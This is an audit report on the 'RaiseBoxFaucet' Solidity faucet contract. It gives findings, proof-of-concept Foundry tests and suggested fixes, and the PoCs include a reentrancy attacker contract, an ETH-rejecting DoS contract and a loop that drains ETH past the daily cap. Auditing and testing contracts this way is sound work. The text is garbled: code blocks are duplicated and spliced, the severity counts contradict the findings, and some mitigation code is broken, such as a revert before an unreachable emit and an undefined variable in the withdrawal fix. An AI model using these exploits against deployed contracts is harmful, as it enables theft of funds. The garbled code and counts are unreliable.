



Raisebox faucet Audit Report

Version 1.0

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- High
 - * [H-1] The `RaiseBoxFaucet::claimFaucetTokens` function prioritizes `sepolia` ETH drip over `faucetDrip` claim for new users, rejection of `sepolia` ETH by contract-based accounts causes denial of service (DoS) blocking users from claiming RB tokens
 - * [H-2] The `RaiseBoxFaucet::burnFaucetTokens` transfers the entire balance of the contract to the owner instead of the `amountToBurn`, draining and potentially causing a denial of service (DoS).
- Medium
 - * [M-1] Reentrancy attack in `RaiseBoxFaucet::claimFaucetTokens` allows first-time users to claim twice `faucetDrip` amount of RB tokens alongside `sepolia` ETH claim. Reduces initial supply, disrupts protocol's intended logic, potentially causing denial of service (DoS).
 - * [M-2] The `dailySepEthCap` in the `RaiseBoxFaucet::claimFaucetTokens` function could be bypassed, causing `sepolia` ETH draining.
 - * [M-3] The `RaiseBoxFaucet::mintFaucetTokens` function checks the balance of the contract against a magic number instead of `faucetDrip`, potentially causing a denial of service (DoS).
 - * [M-4] The `RaiseBoxFaucet` contract lacks a native currency withdrawal function for the owner in case of an emergency, potentially leading to the loss of funds.
- Low
 - * [L-1] The `claimFaucetTokens::lastDripDay` and `claimFaucetTokens::lastFaucetDripDay` storage variables are not updated correctly, which may lead to confusion and misinterpretation of the last drip day and last faucet drip day.
- Informational
 - * [I-1] The `Claimed` event in the `RaiseBoxFaucet::claimFaucetTokens` function is emitted after the `faucetDrip` is transferred to the user, potentially causing confusion and misinterpretation of the event.
 - * [I-2] The `MintedNewFaucetTokens` event in the `RaiseBoxFaucet::mintFaucetTokens` function is emitted after the `_mint` function call, potentially causing confusion and misinterpretation of the event.

Protocol Summary

RaiseBox Faucet is a token drip faucet that drips 1000 test tokens to users every 3 days. It also drips 0.005 sepolia eth to first time users.

The faucet tokens will be useful for testing the testnet of a future protocol that would only allow interactions using this tokens.

Disclaimer

The @AlexScherbatyuk makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
1
2 src/
3 --- RaiseBoxFaucet.sol
4 --- DeployRaiseBoxFaucet.s.sol
```

Roles

There are basically 3 actors in this protocol:

1. Owner:**RESPONSIBILITIES:**

- deploys contract,
- mint initial supply and any new token in future,
- can burn tokens,
- can adjust daily claim limit,
- can refill sepolia eth balance

LIMITATIONS:

- cannot claimfaucet tokens

2. Claimer:**RESPONSIBILITIES:**

- can claim tokens by calling the claimFaucetTokens function of this contract.

LIMITATIONS:

- Doesn't have any owner defined rights above.

3. Donators:**RESPONSIBILITIES:**

- can donate sepolia eth directly to contract

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	4

Severity	Number of issues found
Low	3
Info	0
Gas Optimizations	0
Total	9

Findings

High

[H-1] The `RaiseBoxFaucet::claimFaucetTokens` function prioritizes `sepolia ETH` drip over `faucetDrip` claim for new users, rejection of `sepolia ETH` by contract-based accounts causes denial of service (DoS) blocking users from claiming RB tokens

Description: The `RaiseBoxFaucet::claimFaucetTokens` function prioritizes `sepolia ETH` drip over `faucetDrip` claim for new users, sending eth to users before the `faucetDrip` tokens. The contract-based accounts that do not expect to receive `sepolia ETH` cause denial of service (DoS) reverting the transaction, blocking users from claiming `RB` tokens.

Root cause:

```

1   function claimFaucetTokens() public {
2
3     ...
4
5     if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
6         address(this).balance >= sepEthAmountToDrip) {
7       hasClaimedEth[faucetClaimer] = true;
8       dailyDrips += sepEthAmountToDrip;
9
10      (bool success,) = faucetClaimer.call{value:
11        sepEthAmountToDrip}("");
12
13      if (success) {
14        emit SepEthDripped(faucetClaimer,
15          sepEthAmountToDrip);
16      } else {
17        @revert RaiseBoxFaucet_EthTransferFailed();
18      }
19    } else {
20      emit SepEthDripSkipped(
21    }
22  }
```

```

18             faucetClaimer,
19             address(this).balance < sepEthAmountToDrip ? "
20                 Faucet out of ETH" : "Daily ETH cap reached"
21         );
22     }
23     ...
24 }
25 }
```

Impact: Denial of service (DoS) blocking users from claiming RB tokens, severely breaking the functionality of the protocol.

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

ReentrancyAttacker contract:

```

1   contract EthRejector {
2       receive() external payable {
3           revert("Rejecting ETH");
4       }
5
6       fallback() external payable {
7           revert("Rejecting ETH");
8       }
9   }
```

This code snippet is designed to demonstrate the `RaiseBoxFaucet::claimFaucetTokens` function fails on ETH transfer causing denial of service (DoS)

```

1   function testSepEthTransferFailedCausesDoS() public {
2       // Create a contract that rejects ETH transfers
3       EthRejector rejector = new EthRejector();
4
5       // Try to claim with the rejector address - should fail on ETH
6       // transfer
7       vm.prank(address(rejector));
8       vm.expectRevert(RaiseBoxFaucet.RaiseBoxFaucet_EthTransferFailed
9                         .selector);
10      raiseBoxFaucet.claimFaucetTokens();
11
12      console.log("user balance of eth: ", address(rejector).balance)
13          ;
14      console.log("user balance of faucet tokens: ", raiseBoxFaucet.
15                  balanceOf(address(rejector)));
16  }
```

Recommended Mitigation: Possible mitigation is to replace revert statement with emit of `SepEthDripSkipped` event, in order to allow users to claim RB tokens.

```

1      function claimFaucetTokens() public {
2
3      ...
4
5          if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
6              address(this).balance >= sepEthAmountToDrip) {
7              hasClaimedEth[faucetClaimer] = true;
8              dailyDrips += sepEthAmountToDrip;
9
10             (bool success,) = faucetClaimer.call{value:
11                 sepEthAmountToDrip}("");
12
13             if (success) {
14                 emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
15             } else {
16                 revert RaiseBoxFaucet_EthTransferFailed();
17                 emit SepEthDripSkipped(faucetClaimer, "Receiver has
18                 rejected ETH");
19             }
20         } else {
21             emit SepEthDripSkipped(
22                 faucetClaimer,
23                 address(this).balance < sepEthAmountToDrip ? "Faucet
24                 out of ETH" : "Daily ETH cap reached"
25             );
26     }
27
28     ...
29
30 }

```

[H-2] The `RaiseBoxFaucet::burnFaucetTokens` transfers the entire balance of the contract to the owner instead of the `amountToBurn`, draining and potentially causing a denial of service (DoS).

Description: The `_transfer` function of the contract transfers the entire balance of the contract `balanceOf(address(this))` to the owner instead of the `amountToBurn`, and then burns the `amountToBurn` from the owner.

Root cause:

```

1      function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
2          require(amountToBurn <= balanceOf(address(this)), "Faucet Token
3              Balance: Insufficient");
4
5          // transfer faucet balance to owner first before burning
6          // ensures owner has a balance before _burn (owner only
7          // function) can be called successfully

```

```

6      @> _transfer(address(this), msg.sender, balanceOf(address(this)));
7
8      _burn(msg.sender, amountToBurn);
9

```

Impact: Draining and potentially causing a denial of service (DoS).

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

```

1   function testBurnEntireSupplyFaucetTokens() public {
2       vm.prank(owner);
3       uint256 balanceOfContract = raiseBoxFaucet.balanceOf(address(
4           raiseBoxFaucet));
5       uint256 amountToBurn = 1000e18;
6       raiseBoxFaucet.burnFaucetTokens(amountToBurn);
7       uint256 balanceOfContractAfterBurn = raiseBoxFaucet.balanceOf(
8           address(raiseBoxFaucet));
9
10      console.log("Balance of contract after burn: ", raiseBoxFaucet.
11          balanceOf(address(raiseBoxFaucet)));
12      assertNotEq(
13          balanceOfContract,
14          balanceOfContractAfterBurn + amountToBurn,
15          "Balance of contract after burn + amount to burn is not
16          equal to balance of contract before burn"
17      );
18      assertEq(raiseBoxFaucet.balanceOf(address(raiseBoxFaucet)), 0,
19          "Balance of contract after burn is 0");
20

```

Recommended Mitigation: Use the `amountToBurn` instead of `balanceOf(address(this))` in the `_transfer` function.

```

1   function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
2       require(amountToBurn <= balanceOf(address(this)), "Faucet Token
3           Balance: Insufficient");
4
5       // transfer faucet balance to owner first before burning
6       // ensures owner has a balance before _burn (owner only
7       // function) can be called successfully
8       - _transfer(address(this), msg.sender, balanceOf(address(this)));
9       + _transfer(address(this), msg.sender, amountToBurn);
10
11      _burn(msg.sender, amountToBurn);
12

```

Medium

[M-1] Reentrancy attack in `RaiseBoxFaucet::claimFaucetTokens` allows first-time users to claim twice `faucetDrip` amount of RB tokens alongside `sepolia ETH` claim. Reduces initial supply, disrupts protocol's intended logic, potentially causing denial of service (DoS).

Description: The `RaiseBoxFaucet::claimFaucetTokens` function sends all first-time users `sepEthAmountToDrip` amount of `sepolia ETH` with `faucetDrip` claim. This allows a first-time user contract to claim twice `faucetDrip` amount of RB tokens alongside `sepolia ETH` claim.

Impact: These actions reduce initial supply, disrupt protocol's intended logic, potentially causing denial of service (DoS) speeding the run-out of RB tokens initial supply.

Root cause:

```

1   function claimFaucetTokens() public {
2     ...
3
4     if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
5       uint256 currentDay = block.timestamp / 24 hours;
6
7       if (currentDay > lastDripDay) {
8         lastDripDay = currentDay;
9         dailyDrips = 0;
10        // dailyClaimCount = 0;
11      }
12
13      if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
14          address(this).balance >= sepEthAmountToDrip) {
15        hasClaimedEth[faucetClaimer] = true;
16        dailyDrips += sepEthAmountToDrip;
17
18        @> (bool success,) = faucetClaimer.call{value:
19             sepEthAmountToDrip}("");
20
21        if (success) {
22          emit SepEthDripped(faucetClaimer,
23                             sepEthAmountToDrip);
24        } else {
25          revert RaiseBoxFaucet_EthTransferFailed();
26        }
27      } else {
28        emit SepEthDripSkipped(
29                      faucetClaimer,
30                      address(this).balance < sepEthAmountToDrip ? "
31                          Faucet out of ETH" : "Daily ETH cap reached"
32                    );
33    }
34  }
35
36  if (success) {
37    emit SepEthDripped(faucetClaimer,
38                       sepEthAmountToDrip);
39  } else {
40    revert RaiseBoxFaucet_EthTransferFailed();
41  }
42
43  emit SepEthDripSkipped(
44    faucetClaimer,
45    address(this).balance < sepEthAmountToDrip ? "
46        Faucet out of ETH" : "Daily ETH cap reached"
47  );
48}
```

```

30         }
31     }
32     ...
33 }
```

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

ReentrancyAttacker contract:

```

1   contract ReentrancyAttacker {
2       RaiseBoxFaucet victim;
3       uint256 public counter = 0;
4
5       constructor(RaiseBoxFaucet _victim) {
6           victim = _victim;
7       }
8
9       function attack() public payable {
10          victim.claimFaucetTokens();
11      }
12
13      receive() external payable {
14          console.log("balance of victim: ", address(victim).balance)
15          ;
16          if (counter < 2) {
17              counter++;
18              victim.claimFaucetTokens();
19          }
20      }
21  }
```

This code snippet is designed to demonstrate the `RaiseBoxFaucet::claimFaucetTokens` function being successfully called twice through the `reentrancy` attack.

```

1   function testReentrancyAttack() public {
2       ReentrancyAttacker attacker = new ReentrancyAttacker(
3           raiseBoxFaucet);
4
5       uint256 lastAttackerClaimTime = raiseBoxFaucet.
6           getUserLastClaimTime(address(attacker));
7       uint256 faucetDrip = raiseBoxFaucet.faucetDrip();
8       uint256 dailyClaimCount = raiseBoxFaucet.dailyClaimCount();
9       uint256 dailyClaimLimit = raiseBoxFaucet.dailyClaimLimit();
10
11      console.log("Before facuet Contract ETH balance", address(
12          raiseBoxFaucet).balance);
13      console.log("Before attacker faucet token balance",
14          raiseBoxFaucet.balanceOf(address(attacker)));
15
16      console.log("Last time attacker has claimed faucets: ",
17          lastAttackerClaimTime);
```

```

13     console.log("faucetDrip: ", faucetDrip);
14     console.log("dailyClaimCount: ", dailyClaimCount);
15     console.log("dailyClaimLimit: ", dailyClaimLimit);
16
17     attacker.attack();
18     bool claimed = raiseBoxFaucet.getHasClaimedEth(address(attacker));
19     assertEquals(claimed, true, "User has not successfully claimed eth");
20
21     uint256 afterLastAttackerClaimTime = raiseBoxFaucet.getUserLastClaimTime(address(attacker));
22     uint256 afterFaucetDrip = raiseBoxFaucet.faucetDrip();
23     uint256 afterDailyClaimCount = raiseBoxFaucet.dailyClaimCount();
24     ;
25     uint256 afterDailyClaimLimit = raiseBoxFaucet.dailyClaimLimit();
26
27     console.log("After faucet Contract ETH balance", address(raiseBoxFaucet).balance);
28     console.log("After attacker faucet token balance",
29                 raiseBoxFaucet.balanceOf(address(attacker)));
30
31     console.log("Last time attacker has claimed faucets: ",
32                 afterLastAttackerClaimTime);
33     console.log("faucetDrip: ", afterFaucetDrip);
34     console.log("dailyClaimCount: ", afterDailyClaimCount);
35     console.log("dailyClaimLimit: ", afterDailyClaimLimit);
36     console.log("number of attacks", attacker.counter());
37 }
```

Recommended Mitigation: Possible mitigation is to move the `sepolia` ETH claim after `faucetDrip` claim, to ensure that the `lastClaimTime` for the user is changed before the `sepolia` ETH claim.

```

1   function claimFaucetTokens() public {
2     // Checks
3     faucetClaimer = msg.sender;
4
5     // (lastClaimTime[faucetClaimer] == 0);
6
7     if (block.timestamp < (lastClaimTime[faucetClaimer] +
8       CLAIM_COOLDOWN)) {
9       revert RaiseBoxFaucet_ClaimCooldownOn();
10    }
11
12    if (faucetClaimer == address(0) || faucetClaimer == address(this) ||
13      faucetClaimer == Ownable.owner()) {
14      revert
15      RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim
```

```

13         ();
14     }
15
16     if (balanceOf(address(this)) <= faucetDrip) {
17         revert RaiseBoxFaucet_InsufficientContractBalance();
18     }
19
20     if (dailyClaimCount >= dailyClaimLimit) {
21         revert RaiseBoxFaucet_DailyClaimLimitReached();
22     }
23
24     // drip sepolia eth to first time claimers if supply hasn't
25     // ran out or sepolia drip not paused**
26     if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
27         uint256 currentDay = block.timestamp / 24 hours;
28
29         if (currentDay > lastDripDay) {
30             lastDripDay = currentDay;
31             dailyDrips = 0;
32             // dailyClaimCount = 0;
33         }
34
35         if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
36         address(this).balance >= sepEthAmountToDrip) {
37             hasClaimedEth[faucetClaimer] = true;
38             dailyDrips += sepEthAmountToDrip;
39
40             (bool success,) = faucetClaimer.call{value:
41             sepEthAmountToDrip}("");
42
43             if (success) {
44                 emit SepEthDripped(faucetClaimer,
45                 sepEthAmountToDrip);
46             } else {
47                 revert RaiseBoxFaucet_EthTransferFailed();
48             }
49         } else {
50             emit SepEthDripSkipped(
51                 faucetClaimer,
52                 address(this).balance < sepEthAmountToDrip ? "
53                 Faucet out of ETH" : "Daily ETH cap reached"
54             );
55         }
56     } else {
57         dailyDrips = 0;
58     }
59
60     /**
61      *
62      * @param lastFaucetDripDay tracks the last day a claim was

```

```

        made
58     * @notice resets the @param dailyClaimCount every 24 hours
59     */
60     if (block.timestamp > lastFaucetDripDay + 1 days) {
61         lastFaucetDripDay = block.timestamp;
62         dailyClaimCount = 0;
63     }
64
65     // Effects
66
67     lastClaimTime[faucetClaimer] = block.timestamp;
68     dailyClaimCount++;
69
70     // Interactions
71     _transfer(address(this), faucetClaimer, faucetDrip);
72
73     emit Claimed(msg.sender, faucetDrip);
74
75     // drip sepolia eth to first time claimers if supply hasn't
76     // ran out or sepolia drip not paused**
77     // still checks
78     if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
79         uint256 currentDay = block.timestamp / 24 hours;
80
81         if (currentDay > lastDripDay) {
82             lastDripDay = currentDay;
83             dailyDrips = 0;
84             // dailyClaimCount = 0;
85         }
86
87         if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
88             address(this).balance >= sepEthAmountToDrip) {
89             hasClaimedEth[faucetClaimer] = true;
90             dailyDrips += sepEthAmountToDrip;
91
92             (bool success,) = faucetClaimer.call{value:
93                 sepEthAmountToDrip}("");
94
95             if (success) {
96                 emit SepEthDripped(faucetClaimer,
97                     sepEthAmountToDrip);
98             } else {
99                 revert RaiseBoxFaucet_EthTransferFailed();
100            }
101        } else {
102            emit SepEthDripSkipped(
103                faucetClaimer,
104                address(this).balance < sepEthAmountToDrip ? "
105                Faucet out of ETH" : "Daily ETH cap reached"
106            );
107        }
108    }

```

```

103 +         } else {
104 +             dailyDrips = 0;
105 +
106     }
107 }
```

[M-2] The `dailySepEthCap` in the `RaiseBoxFaucet::claimFaucetTokens` function could be bypassed, causing `sepolia ETH` draining.

Description: The `dailyDrips` storage variable in the `RaiseBoxFaucet::claimFaucetTokens` function increments each time a new user claims `sepolia ETH`. However, when a previously claimed `sepolia ETH` user claims it again after the 3-day cooldown, the `dailyDrips` is set to 0, allowing new users to claim `sepolia ETH` beyond the `dailySepEthCap` limit until either the `sepolia ETH` supply runs out or the `dailyClaimLimit` limit is reached.

Root cause:

```

1   function claimFaucetTokens() public {
2
3     ...
4
5     if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
6       uint256 currentDay = block.timestamp / 24 hours;
7
8       if (currentDay > lastDripDay) {
9         lastDripDay = currentDay;
10        dailyDrips = 0;
11        // dailyClaimCount = 0;
12      }
13
14      if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
15          address(this).balance >= sepEthAmountToDrip) {
16        hasClaimedEth[faucetClaimer] = true;
17        dailyDrips += sepEthAmountToDrip;
18
19        (bool success,) = faucetClaimer.call{value:
20          sepEthAmountToDrip}("");
21
22        if (success) {
23          emit SepEthDripped(faucetClaimer,
24            sepEthAmountToDrip);
25        } else {
26          revert RaiseBoxFaucet_EthTransferFailed();
27        }
28      } else {
29        emit SepEthDripSkipped(
30          faucetClaimer,
```

```

28                     address(this).balance < sepEthAmountToDrip ? "
29                         Faucet out of ETH" : "Daily ETH cap reached"
30                 );
31             }
32 @gt;         dailyDrips = 0;
33     }
34
35     ...
36 }
```

Impact: `sepolia` ETH draining, causing disruption in the protocol functionality.

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

This code snippet is designed to demonstrate the `RaiseBoxFaucet::claimFaucetTokens` function bypasses the `dailySepEthCap` limit, causing `sepolia` ETH draining.

```

1   function testEthClaimSupply() public {
2       owner = address(this);
3
4       raiseBoxFaucet = new RaiseBoxFaucet("raiseboxtoken", "RB", 1000
5           * 10 ** 18, 0.02 ether, 0.5 ether);
6
7       raiseBoxFaucetContractAddress = address(raiseBoxFaucet);
8
9       vm.deal(raiseBoxFaucetContractAddress, 1 ether);
10
11      uint256 initialSepoliaETHSupply = address(raiseBoxFaucet).
12          balance;
13      console.log("\n");
14      console.log("Initial Contract ETH balance",
15          initialSepoliaETHSupply);
16
17      uint256 totalClaims = 1;
18
19      // A user interaction before the drain
20      address previousUser = makeAddr("previousUser");
21      vm.prank(previousUser);
22      raiseBoxFaucet.claimFaucetTokens();
23
24      console.log("\n");
25      console.log("A user claims faucets");
26      console.log("User address: ", previousUser);
27      console.log("Contract ETH balance", address(raiseBoxFaucet).
28          balance);
29      console.log("User faucet token balance", raiseBoxFaucet.
30          balanceOf(previousUser));
31      console.log("User ETH balance", previousUser.balance);
32      console.log("dailyClaimCount: ", raiseBoxFaucet.dailyClaimCount
33          ());
```

```
28     console.log("dailyClaimLimit: ", raiseBoxFaucet.dailyClaimLimit
29         ());
30     console.log("\n");
31     console.log("Whait for 3 days cooldown");
32
33     // Cooldown
34     vm.warp(block.timestamp + 3 days + 1 minutes);
35     vm.roll(block.number + 100);
36
37     console.log("\n");
38     console.log("Drain starts here");
39
40     address user;
41     for (uint256 i = 1; i <= 50; ++i) {
42         user = payable(address(uint160(100 + i)));
43
44         vm.prank(user);
45         raiseBoxFaucet.claimFaucetTokens();
46         totalClaims += 1;
47     }
48
49     console.log("\n");
50     console.log("Middle way, a user after cooldown claims again,
51             resetting dailyDrips to 0");
52
53     vm.prank(previousUser);
54     raiseBoxFaucet.claimFaucetTokens();
55
56     console.log("\n");
57     console.log("User address: ", previousUser);
58     console.log("Contract ETH balance", address(raiseBoxFaucet).
59                 balance);
60     console.log("User faucet token balance", raiseBoxFaucet.
61                 balanceOf(previousUser));
62     console.log("User ETH balance", previousUser.balance);
63     console.log("dailyClaimCount: ", raiseBoxFaucet.dailyClaimCount
64         ());
65     console.log("dailyClaimLimit: ", raiseBoxFaucet.dailyClaimLimit
66         ());
67     console.log("dailyDrips has been reset to: ", raiseBoxFaucet.
68                 dailyDrips());
69
70     console.log("\n");
71     console.log("Drain continues");
72
73     address newUser;
74     for (uint256 i = 1; i <= 49; ++i) {
75         newUser = payable(address(uint160(200 + i)));
76
77         vm.prank(newUser);
```

```

72         raiseBoxFaucet.claimFaucetTokens();
73
74         totalClaims += 1;
75     }
76
77     uint256 afterDrainSepoliaETHSupply = address(raiseBoxFaucet).balance;
78
79     console.log("\n");
80     console.log("dailyClaimCount: ", raiseBoxFaucet.dailyClaimCount());
81     console.log("dailyClaimLimit: ", raiseBoxFaucet.dailyClaimLimit());
82     console.log("Total claimes: ", totalClaims);
83     console.log("After the drain, Contract ETH balance",
84                 afterDrainSepoliaETHSupply);
85
86     assertGt(initialSepoliaETHSupply, 0, "Contract ETH balance has
87               not been supplied");
88     assertEq(afterDrainSepoliaETHSupply, 0, "Contract ETH balance
89               has not been drained");
90 }
```

Recommended Mitigation: Possible mitigation is to reset the `dailyDrips` storage variable to 0 only on the next day by checking the `lastDripDay` storage variable.

```

1   function claimFaucetTokens() public {
2
3     ...
4
5     if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
6       uint256 currentDay = block.timestamp / 24 hours;
7
8       if (currentDay > lastDripDay) {
9         lastDripDay = currentDay;
10        dailyDrips = 0;
11        // dailyClaimCount = 0;
12      }
13
14      if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
15          address(this).balance >= sepEthAmountToDrip) {
16        hasClaimedEth[faucetClaimer] = true;
17        dailyDrips += sepEthAmountToDrip;
18
19        (bool success,) = faucetClaimer.call{value:
20                      sepEthAmountToDrip}("");
21
22        if (success) {
23          emit SepEthDripped(faucetClaimer,
24                            sepEthAmountToDrip);
25        } else {
```

```

23             revert RaiseBoxFaucet_EthTransferFailed();
24         }
25     } else {
26         emit SepEthDripSkipped(
27             faucetClaimer,
28             address(this).balance < sepEthAmountToDrip ? "
29                 Faucet out of ETH" : "Daily ETH cap reached"
30         );
31     }
32 } else {
33     dailyDrips = 0;
34 }
35
36 ...
37
38 }
```

[M-3] The `RaiseBoxFaucet::mintFaucetTokens` function checks the balance of the contract against a magic number instead of `faucetDrip`, potentially causing a denial of service (DoS).

Description: The `RaiseBoxFaucet::mintFaucetTokens` function checks the balance of the contract against a magic number instead of `faucetDrip` before minting. The check verifies that the contract has a balance greater than `1000e18` no matter the value of `faucetDrip`, potentially causing a denial of service (DoS).

Root cause:

```

1   function mintFaucetTokens(address to, uint256 amount) public
2       onlyOwner {
3           if (to != address(this)) {
4               revert RaiseBoxFaucet_MiningToNonContractAddressFailed();
5           }
6           @> if (balanceOf(address(to)) > 1000 * 10 ** 18) {
7               revert RaiseBoxFaucet_FaucetNotOutOfTokens();
8           }
9           _mint(to, amount);
10          emit MintedNewFaucetTokens(to, amount);
11      }
12  }
```

Impact: Denial of service (DoS) blocking the minting of `RB` tokens and users' ability to claim `RB` tokens, as the static value might be less than `faucetDrip`.

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

This code snippet is designed to demonstrate the `RaiseBoxFaucet::mintFaucetTokens` function checks the balance of the contract against a magic number instead of `faucetDrip`, causing a denial of service (DoS) blocking the minting of `RB` tokens required for claiming `RB` tokens.

```
1 function testMintedNewFaucetTokensEventsLessThanFaucetDrip() public
2 {
3     owner = address(this);
4     raiseBoxFaucet = new RaiseBoxFaucet("raiseboxtoken", "RB",
5         49000000 * 10 ** 18, 0.02 ether, 0.5 ether);
6     raiseBoxFaucetContractAddress = address(raiseBoxFaucet);
7
8     vm.deal(raiseBoxFaucetContractAddress, 1 ether);
9
10    console.log("Initial balance of contract: ", raiseBoxFaucet.
11        balanceOf(address(raiseBoxFaucet)));
12
13    // reduce balance of contract
14    address newUser;
15    for (uint256 i = 1; i <= 20; ++i) {
16        newUser = payable(address(uint160(200 + i)));
17
18        vm.prank(newUser);
19        raiseBoxFaucet.claimFaucetTokens();
20        console.log("User address: ", newUser);
21        console.log("User balance of ETH: ", newUser.balance);
22        console.log("User balance of faucet tokens: ",
23            raiseBoxFaucet.balanceOf(newUser));
24    }
25
26    console.log("\n Actual balance: ", raiseBoxFaucet.balanceOf(
27        address(raiseBoxFaucet)));
28
29    vm.prank(user1);
30    vm.expectRevert(RaiseBoxFaucet.
31        RaiseBoxFaucet_InsufficientContractBalance.selector);
32    raiseBoxFaucet.claimFaucetTokens();
33
34    // Try to mint more;
35    uint256 faucetDrip = raiseBoxFaucet.faucetDrip();
36    console.log("Balance required for claim: ", faucetDrip);
37    vm.prank(owner);
38    vm.expectRevert(RaiseBoxFaucet.
39        RaiseBoxFaucet_FaucetNotOutOfTokens.selector);
40    raiseBoxFaucet.mintFaucetTokens(address(raiseBoxFaucet),
41        faucetDrip);
42
43    assertGt(
44        faucetDrip,
45        raiseBoxFaucet.balanceOf(address(raiseBoxFaucet)),
46        raiseBoxFaucet.balanceOf(address(raiseBoxFaucet)),
47        faucetDrip);
48}
```

```

38         "Balance required for claim is greater than balance of
39             contract"
40     }

```

Recommended Mitigation: The magic number `1000 * 10 ** 18` should be replaced with `faucetDrip` to prevent denial of service (DoS) blocking minting `RB` tokens required for claiming `RB` tokens.

```

1   function mintFaucetTokens(address to, uint256 amount) public
2       onlyOwner {
3           if (to != address(this)) {
4               revert RaiseBoxFaucet_MiningToNonContractAddressFailed();
5           }
6       -   if (balanceOf(address(to)) > 1000 * 10 ** 18) {
7       +   if (balanceOf(address(to)) > faucetDrip) {
8               revert RaiseBoxFaucet_FaucetNotOutOfTokens();
9           }
10      _mint(to, amount);
11      emit MintedNewFaucetTokens(to, amount);
12  }
13
14 }

```

[M-4] The `RaiseBoxFaucet` contract lacks a native currency withdrawal function for the owner in case of an emergency, potentially leading to the loss of funds.

Description: The `RaiseBoxFaucet` contract, which has functionality to receive and distribute Sepolia ETH, lacks admin functionality to withdraw Sepolia ETH in case of an emergency that would require redeploying the contract and refunding the new contract.

Impact: Loss of funds in case of an emergency that would require redeploying the contract and refunding the new contract.

Proof of Concept:

A possible cause for an emergency is another finding where the `faucetDrip` value, incorrectly set during deployment, breaks the contract's functionality.

Recommended Mitigation: Consider adding a `RaiseBoxFaucet::withdrawNativeFunds` function to allow the owner to withdraw or transfer Sepolia ETH in case of an emergency.

```

1 +     function withdrawNativeFunds(address receiver) external onlyOwner {
2 +         payable(recipient).call{value: address(this).balance}("");
3 +

```

Low

[L-1] The `claimFaucetTokens::lastDripDay` and `claimFaucetTokens::lastFaucetDripDay` storage variables are not updated correctly, which may lead to confusion and misinterpretation of the last drip day and last faucet drip day.

Description: The `claimFaucetTokens::lastDripDay` variable stores an index from the epoch, which advances based on a precise timestamp, making it more accurate. On the other hand, the `claimFaucetTokens::lastFaucetDripDay` variable is stored as a raw timestamp and is used to reset dailyClaimCount after 24 hours from the precise timestamp. This causes a difference between the last drip day and the last faucet drip day.

Root cause:

```

1      function claimFaucetTokens() public {
2
3      ...
4
5      // drip sepolia eth to first time claimers if supply hasn't ran
6      // out or sepolia drip not paused**
7      if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
8          uint256 currentDay = block.timestamp / 24 hours;
9
10         if (currentDay > lastDripDay) {
11             lastDripDay = currentDay;
12             dailyDrips = 0;
13             // dailyClaimCount = 0;
14         }
15
16         ...
17
18     /**
19      *
20      * @param lastFaucetDripDay tracks the last day a claim was
21      * made
22      * @notice resets the @param dailyClaimCount every 24 hours
23      */
24     @> if (block.timestamp > lastFaucetDripDay + 1 days) {
25         lastFaucetDripDay = block.timestamp;
26         dailyClaimCount = 0;
27     }
28
29 }
```

Impact: Confusion and misinterpretation of the last drip day and last faucet drip day creating difference of the last drip day and last faucet drip day.

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

This code snippet is designed to demonstrate the `claimFaucetTokens::lastDripDay` and `claimFaucetTokens::lastFaucetDripDay` storage variables show different values after 24 hours.

```

1   function
2     testCheckLastFaucetDripDayAndLastDripDayDifferenceAfter24Hours()
3       public {
4         vm.prank(user1);
5         raiseBoxFaucet.claimFaucetTokens();
6         console.log("Day 1 claim");
7
8         uint256 firstLastDripDay = raiseBoxFaucet.lastDripDay() * 24
9             hours;
10        uint256 firstLastFaucetDripDay = raiseBoxFaucet.
11            lastFaucetDripDay();
12
13        console.log("Last drip day: ", firstLastDripDay);
14        console.log("Last faucet drip day: ", firstLastFaucetDripDay);
15
16        vm.warp(block.timestamp + 1 days);
17
18        console.log("\n");
19        console.log("Day 2 claim");
20
21        vm.prank(user2);
22        raiseBoxFaucet.claimFaucetTokens();
23
24        uint256 secondLastDripDay = raiseBoxFaucet.lastDripDay() * 24
25            hours;
26        uint256 secondLastFaucetDripDay = raiseBoxFaucet.
27            lastFaucetDripDay();
28
29        console.log("Last drip day: ", secondLastDripDay);
30        console.log("Last faucet drip day: ", secondLastFaucetDripDay);
31
32        assertEq(
33          firstLastDripDay, firstLastFaucetDripDay, "At first claim,
34              last drip day is equal to last faucet drip day"
35        );
36
37        assertNotEq(
38          secondLastDripDay,
39          secondLastFaucetDripDay,
40          "At second claim, last drip day is not equal to last faucet
41              drip day"
42        );
43      }

```

Recommended Mitigation: Update the `claimFaucetTokens::lastFaucetDripDay` storage

variable correctly.

```

1 -      if (block.timestamp > lastFaucetDripDay + 1 days) {
2 -          lastFaucetDripDay = block.timestamp;
3 -          dailyClaimCount = 0;
4 -      }
5
